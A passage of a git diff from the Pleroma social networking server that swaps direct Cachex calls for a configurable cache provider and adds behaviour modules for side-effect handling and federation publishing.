	alias Pleroma.Web.Push
	alias Pleroma.Web.Streamer

	require Logger

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	+ @behaviour Pleroma.Web.ActivityPub.SideEffects.Handling
	+
	+ @impl true
	def handle(object, meta \\ [])

	# Task this handles
	# - Follows
	# - Sends a notification
	+ @impl true
	def handle(
	%{
	data: %{
	"actor" => actor,
	"type" => "Accept",
	"object" => follow_activity_id
	}
	} = object,
	meta
	) do
	with %Activity{actor: follower_id} = follow_activity <-
	Activity.get_by_ap_id(follow_activity_id),
	%User{} = followed <- User.get_cached_by_ap_id(actor),
	%User{} = follower <- User.get_cached_by_ap_id(follower_id),
	{:ok, follow_activity} <- Utils.update_follow_state_for_all(follow_activity, "accept"),
	{:ok, _follower, followed} <-
	FollowingRelationship.update(follower, followed, :follow_accept) do
	Notification.update_notification_type(followed, follow_activity)
	end

	{:ok, object, meta}
	end

	# Task this handles
	# - Rejects all existing follow activities for this person
	# - Updates the follow state
	# - Dismisses notification
	+ @impl true
	def handle(
	%{
	data: %{
	"actor" => actor,
	"type" => "Reject",
	"object" => follow_activity_id
	}
	} = object,
	meta
	) do
	with %Activity{actor: follower_id} = follow_activity <-
	Activity.get_by_ap_id(follow_activity_id),
	%User{} = followed <- User.get_cached_by_ap_id(actor),
	%User{} = follower <- User.get_cached_by_ap_id(follower_id),
	{:ok, _follow_activity} <- Utils.update_follow_state_for_all(follow_activity, "reject") do
	FollowingRelationship.update(follower, followed, :follow_reject)
	Notification.dismiss(follow_activity)
	end

	{:ok, object, meta}
	end

	# Tasks this handle
	# - Follows if possible
	# - Sends a notification
	# - Generates accept or reject if appropriate
	+ @impl true
	def handle(
	%{
	data: %{
	"id" => follow_id,
	"type" => "Follow",
	"object" => followed_user,
	"actor" => following_user
	}
	} = object,
	meta
	) do
	with %User{} = follower <- User.get_cached_by_ap_id(following_user),
	%User{} = followed <- User.get_cached_by_ap_id(followed_user),
	{_, {:ok, _, _}, _, _} <-
	{:following, User.follow(follower, followed, :follow_pending), follower, followed} do
	if followed.local && !followed.is_locked do
	{:ok, accept_data, _} = Builder.accept(followed, object)
	{:ok, _activity, _} = Pipeline.common_pipeline(accept_data, local: true)
	end
	else
	{:following, {:error, _}, _follower, followed} ->
	{:ok, reject_data, _} = Builder.reject(followed, object)
	{:ok, _activity, _} = Pipeline.common_pipeline(reject_data, local: true)

	_ ->
	nil
	end

	{:ok, notifications} = Notification.create_notifications(object, do_send: false)

	meta =
	meta
	\|> add_notifications(notifications)

	updated_object = Activity.get_by_ap_id(follow_id)

	{:ok, updated_object, meta}
	end

	# Tasks this handles:
	# - Unfollow and block
	+ @impl true
	def handle(
	%{data: %{"type" => "Block", "object" => blocked_user, "actor" => blocking_user}} =
	object,
	meta
	) do
	with %User{} = blocker <- User.get_cached_by_ap_id(blocking_user),
	%User{} = blocked <- User.get_cached_by_ap_id(blocked_user) do
	User.block(blocker, blocked)
	end

	{:ok, object, meta}
	end

	# Tasks this handles:
	# - Update the user
	#
	# For a local user, we also get a changeset with the full information, so we
	# can update non-federating, non-activitypub settings as well.
	+ @impl true
	def handle(%{data: %{"type" => "Update", "object" => updated_object}} = object, meta) do
	if changeset = Keyword.get(meta, :user_update_changeset) do
	changeset
	\|> User.update_and_set_cache()
	else
	{:ok, new_user_data} = ActivityPub.user_data_from_user_object(updated_object)

	User.get_by_ap_id(updated_object["id"])
	\|> User.remote_user_changeset(new_user_data)
	\|> User.update_and_set_cache()
	end

	{:ok, object, meta}
	end

	# Tasks this handles:
	# - Add like to object
	# - Set up notification
	+ @impl true
	def handle(%{data: %{"type" => "Like"}} = object, meta) do
	liked_object = Object.get_by_ap_id(object.data["object"])
	Utils.add_like_to_object(object, liked_object)

	Notification.create_notifications(object)

	{:ok, object, meta}
	end

	# Tasks this handles
	# - Actually create object
	# - Rollback if we couldn't create it
	# - Increase the user note count
	# - Increase the reply count
	# - Increase replies count
	# - Set up ActivityExpiration
	# - Set up notifications
	+ @impl true
	def handle(%{data: %{"type" => "Create"}} = activity, meta) do
	with {:ok, object, meta} <- handle_object_creation(meta[:object_data], meta),
	%User{} = user <- User.get_cached_by_ap_id(activity.data["actor"]) do
	{:ok, notifications} = Notification.create_notifications(activity, do_send: false)
	{:ok, _user} = ActivityPub.increase_note_count_if_public(user, object)

	if in_reply_to = object.data["inReplyTo"] && object.data["type"] != "Answer" do
	Object.increase_replies_count(in_reply_to)
	end

	ConcurrentLimiter.limit(Pleroma.Web.RichMedia.Helpers, fn ->
	Task.start(fn -> Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) end)
	end)

	meta =
	meta
	\|> add_notifications(notifications)

	{:ok, activity, meta}
	else
	e -> Repo.rollback(e)
	end
	end

	# Tasks this handles:
	# - Add announce to object
	# - Set up notification
	# - Stream out the announce
	+ @impl true
	def handle(%{data: %{"type" => "Announce"}} = object, meta) do
	announced_object = Object.get_by_ap_id(object.data["object"])
	user = User.get_cached_by_ap_id(object.data["actor"])

	Utils.add_announce_to_object(object, announced_object)

	if !User.is_internal_user?(user) do
	Notification.create_notifications(object)

	object
	\|> Topics.get_activity_topics()
	\|> Streamer.stream(object)
	end

	{:ok, object, meta}
	end

	+ @impl true
	def handle(%{data: %{"type" => "Undo", "object" => undone_object}} = object, meta) do
	with undone_object <- Activity.get_by_ap_id(undone_object),
	:ok <- handle_undoing(undone_object) do
	{:ok, object, meta}
	end
	end

	# Tasks this handles:
	# - Add reaction to object
	# - Set up notification
	+ @impl true
	def handle(%{data: %{"type" => "EmojiReact"}} = object, meta) do
	reacted_object = Object.get_by_ap_id(object.data["object"])
	Utils.add_emoji_reaction_to_object(object, reacted_object)

	Notification.create_notifications(object)

	{:ok, object, meta}
	end

	# Tasks this handles:
	# - Delete and unpins the create activity
	# - Replace object with Tombstone
	# - Set up notification
	# - Reduce the user note count
	# - Reduce the reply count
	# - Stream out the activity
	+ @impl true
	def handle(%{data: %{"type" => "Delete", "object" => deleted_object}} = object, meta) do
	deleted_object =
	Object.normalize(deleted_object, false) \|\|
	User.get_cached_by_ap_id(deleted_object)

	result =
	case deleted_object do
	%Object{} ->
	with {:ok, deleted_object, activity} <- Object.delete(deleted_object),
	{_, actor} when is_binary(actor) <- {:actor, deleted_object.data["actor"]},
	%User{} = user <- User.get_cached_by_ap_id(actor) do
	User.remove_pinnned_activity(user, activity)

	{:ok, user} = ActivityPub.decrease_note_count_if_public(user, deleted_object)

	if in_reply_to = deleted_object.data["inReplyTo"] do
	Object.decrease_replies_count(in_reply_to)
	end

	MessageReference.delete_for_object(deleted_object)

	ActivityPub.stream_out(object)
	ActivityPub.stream_out_participations(deleted_object, user)
	:ok
	else
	{:actor, _} ->
	Logger.error("The object doesn't have an actor: #{inspect(deleted_object)}")
	:no_object_actor
	end

	%User{} ->
	with {:ok, _} <- User.delete(deleted_object) do
	:ok
	end
	end

	if result == :ok do
	Notification.create_notifications(object)
	{:ok, object, meta}
	else
	{:error, result}
	end
	end

	# Nothing to do
	+ @impl true
	def handle(object, meta) do
	{:ok, object, meta}
	end

	def handle_object_creation(%{"type" => "ChatMessage"} = object, meta) do
	with {:ok, object, meta} <- Pipeline.common_pipeline(object, meta) do
	actor = User.get_cached_by_ap_id(object.data["actor"])
	recipient = User.get_cached_by_ap_id(hd(object.data["to"]))

	streamables =
	[[actor, recipient], [recipient, actor]]
	\|> Enum.uniq()
	\|> Enum.map(fn [user, other_user] ->
	if user.local do
	{:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id)
	{:ok, cm_ref} = MessageReference.create(chat, object, user.ap_id != actor.ap_id)

	- Cachex.put(
	+ @cachex.put(
	:chat_message_id_idempotency_key_cache,
	cm_ref.id,
	meta[:idempotency_key]
	)

	{
	["user", "user:pleroma_chat"],
	{user, %{cm_ref \| chat: chat, object: object}}
	}
	end
	end)
	\|> Enum.filter(& &1)

	meta =
	meta
	\|> add_streamables(streamables)

	{:ok, object, meta}
	end
	end

	def handle_object_creation(%{"type" => "Answer"} = object_map, meta) do
	with {:ok, object, meta} <- Pipeline.common_pipeline(object_map, meta) do
	Object.increase_vote_count(
	object.data["inReplyTo"],
	object.data["name"],
	object.data["actor"]
	)

	{:ok, object, meta}
	end
	end

	def handle_object_creation(%{"type" => objtype} = object, meta)
	when objtype in ~w[Audio Video Question Event Article] do
	with {:ok, object, meta} <- Pipeline.common_pipeline(object, meta) do
	{:ok, object, meta}
	end
	end

	# Nothing to do
	def handle_object_creation(object, meta) do
	{:ok, object, meta}
	end

	defp undo_like(nil, object), do: delete_object(object)

	defp undo_like(%Object{} = liked_object, object) do
	with {:ok, _} <- Utils.remove_like_from_object(object, liked_object) do
	delete_object(object)
	end
	end

	def handle_undoing(%{data: %{"type" => "Like"}} = object) do
	object.data["object"]
	\|> Object.get_by_ap_id()
	\|> undo_like(object)
	end

	def handle_undoing(%{data: %{"type" => "EmojiReact"}} = object) do
	with %Object{} = reacted_object <- Object.get_by_ap_id(object.data["object"]),
	{:ok, _} <- Utils.remove_emoji_reaction_from_object(object, reacted_object),
	{:ok, _} <- Repo.delete(object) do
	:ok
	end
	end

	def handle_undoing(%{data: %{"type" => "Announce"}} = object) do
	with %Object{} = liked_object <- Object.get_by_ap_id(object.data["object"]),
	{:ok, _} <- Utils.remove_announce_from_object(object, liked_object),
	{:ok, _} <- Repo.delete(object) do
	:ok
	end
	end

	def handle_undoing(
	%{data: %{"type" => "Block", "actor" => blocker, "object" => blocked}} = object
	) do
	with %User{} = blocker <- User.get_cached_by_ap_id(blocker),
	%User{} = blocked <- User.get_cached_by_ap_id(blocked),
	{:ok, _} <- User.unblock(blocker, blocked),
	{:ok, _} <- Repo.delete(object) do
	:ok
	end
	end

	def handle_undoing(object), do: {:error, ["don't know how to handle", object]}

	@spec delete_object(Object.t()) :: :ok \| {:error, Ecto.Changeset.t()}
	defp delete_object(object) do
	with {:ok, _} <- Repo.delete(object), do: :ok
	end

	defp send_notifications(meta) do
	Keyword.get(meta, :notifications, [])
	\|> Enum.each(fn notification ->
	Streamer.stream(["user", "user:notification"], notification)
	Push.send(notification)
	end)

	meta
	end

	defp send_streamables(meta) do
	Keyword.get(meta, :streamables, [])
	\|> Enum.each(fn {topics, items} ->
	Streamer.stream(topics, items)
	end)

	meta
	end

	defp add_streamables(meta, streamables) do
	existing = Keyword.get(meta, :streamables, [])

	meta
	\|> Keyword.put(:streamables, streamables ++ existing)
	end

	defp add_notifications(meta, notifications) do
	existing = Keyword.get(meta, :notifications, [])

	meta
	\|> Keyword.put(:notifications, notifications ++ existing)
	end

	+ @impl true
	def handle_after_transaction(meta) do
	meta
	\|> send_notifications()
	\|> send_streamables()
	end
	end
	diff --git a/lib/pleroma/web/activity_pub/side_effects/handling.ex b/lib/pleroma/web/activity_pub/side_effects/handling.ex
	new file mode 100644
	index 000000000..9d64c0e47
	--- /dev/null
	+++ b/lib/pleroma/web/activity_pub/side_effects/handling.ex
	@@ -0,0 +1,8 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Pleroma.Web.ActivityPub.SideEffects.Handling do
	+ @callback handle(map(), keyword()) :: {:ok, map(), keyword()} \| {:error, any()}
	+ @callback handle_after_transaction(map()) :: map()
	+end
	diff --git a/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex b/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex
	index 6d92e9f7f..2f712fb8c 100644
	--- a/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex
	+++ b/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex
	@@ -1,74 +1,76 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.AdminAPI.MediaProxyCacheController do
	use Pleroma.Web, :controller

	alias Pleroma.Web.ApiSpec.Admin, as: Spec
	alias Pleroma.Web.MediaProxy
	alias Pleroma.Web.Plugs.OAuthScopesPlug

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	plug(Pleroma.Web.ApiSpec.CastAndValidate)

	plug(
	OAuthScopesPlug,
	%{scopes: ["read:media_proxy_caches"], admin: true} when action in [:index]
	)

	plug(
	OAuthScopesPlug,
	%{scopes: ["write:media_proxy_caches"], admin: true} when action in [:purge, :delete]
	)

	action_fallback(Pleroma.Web.AdminAPI.FallbackController)

	defdelegate open_api_operation(action), to: Spec.MediaProxyCacheOperation

	def index(%{assigns: %{user: _}} = conn, params) do
	entries = fetch_entries(params)
	urls = paginate_entries(entries, params.page, params.page_size)

	render(conn, "index.json",
	urls: urls,
	page_size: params.page_size,
	count: length(entries)
	)
	end

	defp fetch_entries(params) do
	MediaProxy.cache_table()
	- \|> Cachex.stream!(Cachex.Query.create(true, :key))
	+ \|> @cachex.stream!(Cachex.Query.create(true, :key))
	\|> filter_entries(params[:query])
	end

	defp filter_entries(stream, query) when is_binary(query) do
	regex = ~r/#{query}/i

	stream
	\|> Enum.filter(fn url -> String.match?(url, regex) end)
	\|> Enum.to_list()
	end

	defp filter_entries(stream, _), do: Enum.to_list(stream)

	defp paginate_entries(entries, page, page_size) do
	offset = page_size * (page - 1)
	Enum.slice(entries, offset, page_size)
	end

	def delete(%{assigns: %{user: _}, body_params: %{urls: urls}} = conn, _) do
	MediaProxy.remove_from_banned_urls(urls)
	json(conn, %{})
	end

	def purge(%{assigns: %{user: _}, body_params: %{urls: urls, ban: ban}} = conn, _) do
	MediaProxy.Invalidation.purge(urls)

	if ban do
	MediaProxy.put_in_banned_urls(urls)
	end

	json(conn, %{})
	end
	end
	diff --git a/lib/pleroma/web/federator.ex b/lib/pleroma/web/federator.ex
	index 130654145..658d20954 100644
	--- a/lib/pleroma/web/federator.ex
	+++ b/lib/pleroma/web/federator.ex
	@@ -1,111 +1,115 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Federator do
	alias Pleroma.Activity
	alias Pleroma.Object.Containment
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.Federator.Publisher
	alias Pleroma.Workers.PublisherWorker
	alias Pleroma.Workers.ReceiverWorker

	require Logger

	+ @behaviour Pleroma.Web.Federator.Publishing
	+
	@doc """
	Returns `true` if the distance to target object does not exceed max configured value.
	Serves to prevent fetching of very long threads, especially useful on smaller instances.
	Addresses [memory leaks on recursive replies fetching](https://git.pleroma.social/pleroma/pleroma/issues/161).
	Applies to fetching of both ancestor (reply-to) and child (reply) objects.
	"""
	# credo:disable-for-previous-line Credo.Check.Readability.MaxLineLength
	def allowed_thread_distance?(distance) do
	max_distance = Pleroma.Config.get([:instance, :federation_incoming_replies_max_depth])

	if max_distance && max_distance >= 0 do
	# Default depth is 0 (an object has zero distance from itself in its thread)
	(distance \|\| 0) <= max_distance
	else
	true
	end
	end

	# Client API

	def incoming_ap_doc(params) do
	ReceiverWorker.enqueue("incoming_ap_doc", %{"params" => params})
	end

	+ @impl true
	def publish(%{id: "pleroma:fakeid"} = activity) do
	perform(:publish, activity)
	end

	+ @impl true
	def publish(activity) do
	PublisherWorker.enqueue("publish", %{"activity_id" => activity.id})
	end

	# Job Worker Callbacks

	@spec perform(atom(), module(), any()) :: {:ok, any()} \| {:error, any()}
	def perform(:publish_one, module, params) do
	apply(module, :publish_one, [params])
	end

	def perform(:publish, activity) do
	Logger.debug(fn -> "Running publish for #{activity.data["id"]}" end)

	with %User{} = actor <- User.get_cached_by_ap_id(activity.data["actor"]),
	{:ok, actor} <- User.ensure_keys_present(actor) do
	Publisher.publish(actor, activity)
	end
	end

	def perform(:incoming_ap_doc, params) do
	Logger.debug("Handling incoming AP activity")

	actor =
	params
	\|> Map.get("actor")
	\|> Utils.get_ap_id()

	# NOTE: we use the actor ID to do the containment, this is fine because an
	# actor shouldn't be acting on objects outside their own AP server.
	with {_, {:ok, _user}} <- {:actor, ap_enabled_actor(actor)},
	nil <- Activity.normalize(params["id"]),
	{_, :ok} <-
	{:correct_origin?, Containment.contain_origin_from_id(actor, params)},
	{:ok, activity} <- Transmogrifier.handle_incoming(params) do
	{:ok, activity}
	else
	{:correct_origin?, _} ->
	Logger.debug("Origin containment failure for #{params["id"]}")
	{:error, :origin_containment_failed}

	%Activity{} ->
	Logger.debug("Already had #{params["id"]}")
	{:error, :already_present}

	{:actor, e} ->
	Logger.debug("Unhandled actor #{actor}, #{inspect(e)}")
	{:error, e}

	e ->
	# Just drop those for now
	Logger.debug(fn -> "Unhandled activity\n" <> Jason.encode!(params, pretty: true) end)
	{:error, e}
	end
	end

	def ap_enabled_actor(id) do
	user = User.get_cached_by_ap_id(id)

	if User.ap_enabled?(user) do
	{:ok, user}
	else
	ActivityPub.make_user_from_ap_id(id)
	end
	end
	end
	diff --git a/lib/jason_types.ex b/lib/pleroma/web/federator/publishing.ex
	similarity index 59%
	rename from lib/jason_types.ex
	rename to lib/pleroma/web/federator/publishing.ex
	index f1fdc96f4..d6fba8f24 100644
	--- a/lib/jason_types.ex
	+++ b/lib/pleroma/web/federator/publishing.ex
	@@ -1,9 +1,7 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	-Postgrex.Types.define(
	- Pleroma.PostgresTypes,
	- [] ++ Ecto.Adapters.Postgres.extensions(),
	- json: Jason
	-)
	+defmodule Pleroma.Web.Federator.Publishing do
	+ @callback publish(map()) :: any()
	+end
	diff --git a/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex b/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex
	index 3dcd1c44f..e26ec7136 100644
	--- a/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex
	+++ b/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex
	@@ -1,65 +1,67 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.PollController do
	use Pleroma.Web, :controller

	import Pleroma.Web.ControllerHelper, only: [try_render: 3, json_response: 3]

	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.Plugs.OAuthScopesPlug

	action_fallback(Pleroma.Web.MastodonAPI.FallbackController)

	plug(Pleroma.Web.ApiSpec.CastAndValidate)

	plug(
	OAuthScopesPlug,
	%{scopes: ["read:statuses"], fallback: :proceed_unauthenticated} when action == :show
	)

	plug(OAuthScopesPlug, %{scopes: ["write:statuses"]} when action == :vote)

	defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.PollOperation

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	@doc "GET /api/v1/polls/:id"
	def show(%{assigns: %{user: user}} = conn, %{id: id}) do
	with %Object{} = object <- Object.get_by_id_and_maybe_refetch(id, interval: 60),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(object.data["id"]),
	true <- Visibility.visible_for_user?(activity, user) do
	try_render(conn, "show.json", %{object: object, for: user})
	else
	error when is_nil(error) or error == false ->
	render_error(conn, :not_found, "Record not found")
	end
	end

	@doc "POST /api/v1/polls/:id/votes"
	def vote(%{assigns: %{user: user}, body_params: %{choices: choices}} = conn, %{id: id}) do
	with %Object{data: %{"type" => "Question"}} = object <- Object.get_by_id(id),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(object.data["id"]),
	true <- Visibility.visible_for_user?(activity, user),
	{:ok, _activities, object} <- get_cached_vote_or_vote(user, object, choices) do
	try_render(conn, "show.json", %{object: object, for: user})
	else
	nil -> render_error(conn, :not_found, "Record not found")
	false -> render_error(conn, :not_found, "Record not found")
	{:error, message} -> json_response(conn, :unprocessable_entity, %{error: message})
	end
	end

	defp get_cached_vote_or_vote(user, object, choices) do
	idempotency_key = "polls:#{user.id}:#{object.data["id"]}"

	- Cachex.fetch!(:idempotency_cache, idempotency_key, fn ->
	+ @cachex.fetch!(:idempotency_cache, idempotency_key, fn _ ->
	case CommonAPI.vote(user, object, choices) do
	{:error, _message} = res -> {:ignore, res}
	res -> {:commit, res}
	end
	end)
	end
	end
	diff --git a/lib/pleroma/web/media_proxy.ex b/lib/pleroma/web/media_proxy.ex
	index 8656b8cad..2793cabc1 100644
	--- a/lib/pleroma/web/media_proxy.ex
	+++ b/lib/pleroma/web/media_proxy.ex
	@@ -1,186 +1,188 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MediaProxy do
	alias Pleroma.Config
	alias Pleroma.Helpers.UriHelper
	alias Pleroma.Upload
	alias Pleroma.Web
	alias Pleroma.Web.MediaProxy.Invalidation

	@base64_opts [padding: false]
	@cache_table :banned_urls_cache

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	def cache_table, do: @cache_table

	@spec in_banned_urls(String.t()) :: boolean()
	- def in_banned_urls(url), do: elem(Cachex.exists?(@cache_table, url(url)), 1)
	+ def in_banned_urls(url), do: elem(@cachex.exists?(@cache_table, url(url)), 1)

	def remove_from_banned_urls(urls) when is_list(urls) do
	- Cachex.execute!(@cache_table, fn cache ->
	- Enum.each(Invalidation.prepare_urls(urls), &Cachex.del(cache, &1))
	+ @cachex.execute!(@cache_table, fn cache ->
	+ Enum.each(Invalidation.prepare_urls(urls), &@cachex.del(cache, &1))
	end)
	end

	def remove_from_banned_urls(url) when is_binary(url) do
	- Cachex.del(@cache_table, url(url))
	+ @cachex.del(@cache_table, url(url))
	end

	def put_in_banned_urls(urls) when is_list(urls) do
	- Cachex.execute!(@cache_table, fn cache ->
	- Enum.each(Invalidation.prepare_urls(urls), &Cachex.put(cache, &1, true))
	+ @cachex.execute!(@cache_table, fn cache ->
	+ Enum.each(Invalidation.prepare_urls(urls), &@cachex.put(cache, &1, true))
	end)
	end

	def put_in_banned_urls(url) when is_binary(url) do
	- Cachex.put(@cache_table, url(url), true)
	+ @cachex.put(@cache_table, url(url), true)
	end

	def url(url) when is_nil(url) or url == "", do: nil
	def url("/" <> _ = url), do: url

	def url(url) do
	if enabled?() and url_proxiable?(url) do
	encode_url(url)
	else
	url
	end
	end

	@spec url_proxiable?(String.t()) :: boolean()
	def url_proxiable?(url) do
	not local?(url) and not whitelisted?(url)
	end

	def preview_url(url, preview_params \\ []) do
	if preview_enabled?() do
	encode_preview_url(url, preview_params)
	else
	url(url)
	end
	end

	def enabled?, do: Config.get([:media_proxy, :enabled], false)

	# Note: media proxy must be enabled for media preview proxy in order to load all
	# non-local non-whitelisted URLs through it and be sure that body size constraint is preserved.
	def preview_enabled?, do: enabled?() and !!Config.get([:media_preview_proxy, :enabled])

	def local?(url), do: String.starts_with?(url, Pleroma.Web.base_url())

	def whitelisted?(url) do
	%{host: domain} = URI.parse(url)

	mediaproxy_whitelist_domains =
	[:media_proxy, :whitelist]
	\|> Config.get()
	\|> Enum.map(&maybe_get_domain_from_url/1)

	whitelist_domains =
	if base_url = Config.get([Upload, :base_url]) do
	%{host: base_domain} = URI.parse(base_url)
	[base_domain \| mediaproxy_whitelist_domains]
	else
	mediaproxy_whitelist_domains
	end

	domain in whitelist_domains
	end

	defp maybe_get_domain_from_url("http" <> _ = url) do
	URI.parse(url).host
	end

	defp maybe_get_domain_from_url(domain), do: domain

	defp base64_sig64(url) do
	base64 = Base.url_encode64(url, @base64_opts)

	sig64 =
	base64
	\|> signed_url()
	\|> Base.url_encode64(@base64_opts)

	{base64, sig64}
	end

	def encode_url(url) do
	{base64, sig64} = base64_sig64(url)

	build_url(sig64, base64, filename(url))
	end

	def encode_preview_url(url, preview_params \\ []) do
	{base64, sig64} = base64_sig64(url)

	build_preview_url(sig64, base64, filename(url), preview_params)
	end

	def decode_url(sig, url) do
	with {:ok, sig} <- Base.url_decode64(sig, @base64_opts),
	signature when signature == sig <- signed_url(url) do
	{:ok, Base.url_decode64!(url, @base64_opts)}
	else
	_ -> {:error, :invalid_signature}
	end
	end

	defp signed_url(url) do
	:crypto.hmac(:sha, Config.get([Web.Endpoint, :secret_key_base]), url)
	end

	def filename(url_or_path) do
	if path = URI.parse(url_or_path).path, do: Path.basename(path)
	end

	def base_url do
	Config.get([:media_proxy, :base_url], Web.base_url())
	end

	defp proxy_url(path, sig_base64, url_base64, filename) do
	[
	base_url(),
	path,
	sig_base64,
	url_base64,
	filename
	]
	\|> Enum.filter(& &1)
	\|> Path.join()
	end

	def build_url(sig_base64, url_base64, filename \\ nil) do
	proxy_url("proxy", sig_base64, url_base64, filename)
	end

	def build_preview_url(sig_base64, url_base64, filename \\ nil, preview_params \\ []) do
	uri = proxy_url("proxy/preview", sig_base64, url_base64, filename)

	UriHelper.modify_uri_params(uri, preview_params)
	end

	def verify_request_path_and_url(
	%Plug.Conn{params: %{"filename" => _}, request_path: request_path},
	url
	) do
	verify_request_path_and_url(request_path, url)
	end

	def verify_request_path_and_url(request_path, url) when is_binary(request_path) do
	filename = filename(url)

	if filename && not basename_matches?(request_path, filename) do
	{:wrong_filename, filename}
	else
	:ok
	end
	end

	def verify_request_path_and_url(_, _), do: :ok

	defp basename_matches?(path, filename) do
	basename = Path.basename(path)
	basename == filename or URI.decode(basename) == filename or URI.encode(basename) == filename
	end
	end
	diff --git a/lib/pleroma/web/pleroma_api/views/chat/message_reference_view.ex b/lib/pleroma/web/pleroma_api/views/chat/message_reference_view.ex
	index c058fb340..df48044e3 100644
	--- a/lib/pleroma/web/pleroma_api/views/chat/message_reference_view.ex
	+++ b/lib/pleroma/web/pleroma_api/views/chat/message_reference_view.ex
	@@ -1,61 +1,63 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.PleromaAPI.Chat.MessageReferenceView do
	use Pleroma.Web, :view

	alias Pleroma.Maps
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.MastodonAPI.StatusView

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	def render(
	"show.json",
	%{
	chat_message_reference: %{
	id: id,
	object: %{data: chat_message} = object,
	chat_id: chat_id,
	unread: unread
	}
	}
	) do
	%{
	id: id \|> to_string(),
	content: chat_message["content"],
	chat_id: chat_id \|> to_string(),
	account_id: User.get_cached_by_ap_id(chat_message["actor"]).id,
	created_at: Utils.to_masto_date(chat_message["published"]),
	emojis: StatusView.build_emojis(chat_message["emoji"]),
	attachment:
	chat_message["attachment"] &&
	StatusView.render("attachment.json", attachment: chat_message["attachment"]),
	unread: unread,
	card:
	StatusView.render(
	"card.json",
	Pleroma.Web.RichMedia.Helpers.fetch_data_for_object(object)
	)
	}
	\|> put_idempotency_key()
	end

	def render("index.json", opts) do
	render_many(
	opts[:chat_message_references],
	__MODULE__,
	"show.json",
	Map.put(opts, :as, :chat_message_reference)
	)
	end

	defp put_idempotency_key(data) do
	- with {:ok, idempotency_key} <- Cachex.get(:chat_message_id_idempotency_key_cache, data.id) do
	+ with {:ok, idempotency_key} <- @cachex.get(:chat_message_id_idempotency_key_cache, data.id) do
	data
	\|> Maps.put_if_present(:idempotency_key, idempotency_key)
	else
	_ -> data
	end
	end
	end
	diff --git a/lib/pleroma/web/plugs/cache.ex b/lib/pleroma/web/plugs/cache.ex
	index 6de01804a..18880716a 100644
	--- a/lib/pleroma/web/plugs/cache.ex
	+++ b/lib/pleroma/web/plugs/cache.ex
	@@ -1,136 +1,138 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Plugs.Cache do
	@moduledoc """
	Caches successful GET responses.

	To enable the cache add the plug to a router pipeline or controller:

	plug(Pleroma.Web.Plugs.Cache)

	## Configuration

	To configure the plug you need to pass settings as the second argument to the `plug/2` macro:

	plug(Pleroma.Web.Plugs.Cache, [ttl: nil, query_params: true])

	Available options:

	- `ttl`: An expiration time (time-to-live). This value should be in milliseconds or `nil` to disable expiration. Defaults to `nil`.
	- `query_params`: Take URL query string into account (`true`), ignore it (`false`) or limit to specific params only (list). Defaults to `true`.
	- `tracking_fun`: A function that is called on successfull responses, no matter if the request is cached or not. It should accept a conn as the first argument and the value assigned to `tracking_fun_data` as the second.

	Additionally, you can overwrite the TTL inside a controller action by assigning `cache_ttl` to the connection struct:

	def index(conn, _params) do
	ttl = 60_000 # one minute

	conn
	\|> assign(:cache_ttl, ttl)
	\|> render("index.html")
	end

	"""

	import Phoenix.Controller, only: [current_path: 1, json: 2]
	import Plug.Conn

	@behaviour Plug

	@defaults %{ttl: nil, query_params: true}

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	@impl true
	def init([]), do: @defaults

	def init(opts) do
	opts = Map.new(opts)
	Map.merge(@defaults, opts)
	end

	@impl true
	def call(%{method: "GET"} = conn, opts) do
	key = cache_key(conn, opts)

	- case Cachex.get(:web_resp_cache, key) do
	+ case @cachex.get(:web_resp_cache, key) do
	{:ok, nil} ->
	cache_resp(conn, opts)

	{:ok, {content_type, body, tracking_fun_data}} ->
